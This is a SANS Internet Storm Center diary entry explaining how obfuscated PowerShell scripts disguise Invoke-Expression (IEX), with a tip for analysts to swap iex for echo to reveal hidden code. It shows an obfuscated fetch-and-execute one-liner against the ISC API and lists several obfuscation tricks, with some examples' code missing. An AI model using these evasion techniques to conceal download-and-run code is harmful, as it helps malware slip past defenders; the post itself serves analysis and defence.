When a PowerShell script is obfuscated, the deobfuscation process is, most of the time, performed through the Invoke-Expression cmdlet. Invoke-Expression evaluates the string passed as an argument and returns the results of the commands inside the string. Example:
PS C:Usersxavier> $a="1+1" PS C:Usersxavier> Invoke-Expression $a 2 PS C:Usersxavier> $a="(Invoke-WebRequest 'https://isc.sans.edu/api/handler').Content" PS C:Usersxavier> Invoke-Expression $a Xavier Mertens
Here is another version of the previous example now obfuscated and handled via Invoke-Expression:`
PS C:Usersxavier> $a="(Invoke-WebRequest ('hXtXtXpXsX:X/X/XiXsXcX.XsXaXnXsX.XeXdXuX/XaXpXiX/XhXaXnXdXlXeXr'-replace([char]88,''))).Content" PS C:Usersxavier> Invoke-Expression $a Xavier Mertens
One of the PowerShell features is the use of compressed or abbreviated cmdlet names. Instead of using the full name, ‘Invoke-Expression’ is most of the time replaced by ‘IEX’. This three-characters string is then replaced by something more unreadable.
Example 1: Some characters are replaced:
Example 2: Concatenation of characters, some of them extracted from a specific position in another string. $PSHome = ‘C:WindowsSystem32WindowsPowerShellv1.0′.
Example 3: Back quote pollution (simply ignored by PowerShell)
Example 4: Extraction of characters from a string with a ‘join’:
Example 5: More character extraction. $env:ComSpec = ‘C:WINDOWSsystem32cmd.exe’
When having a look at the suspicious script, the first goal is to try to spot the presence of this Invoke-Expression. Once found, a quick and dirty debugging technique is to replace the ‘iex’ occurrence with a simple ‘echo’ to get access to the deobfuscated code!
The number of combinations is almost infinite but that’s the ones that I spot most frequently. Did you spot other techniques? Feel free to share them!
Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.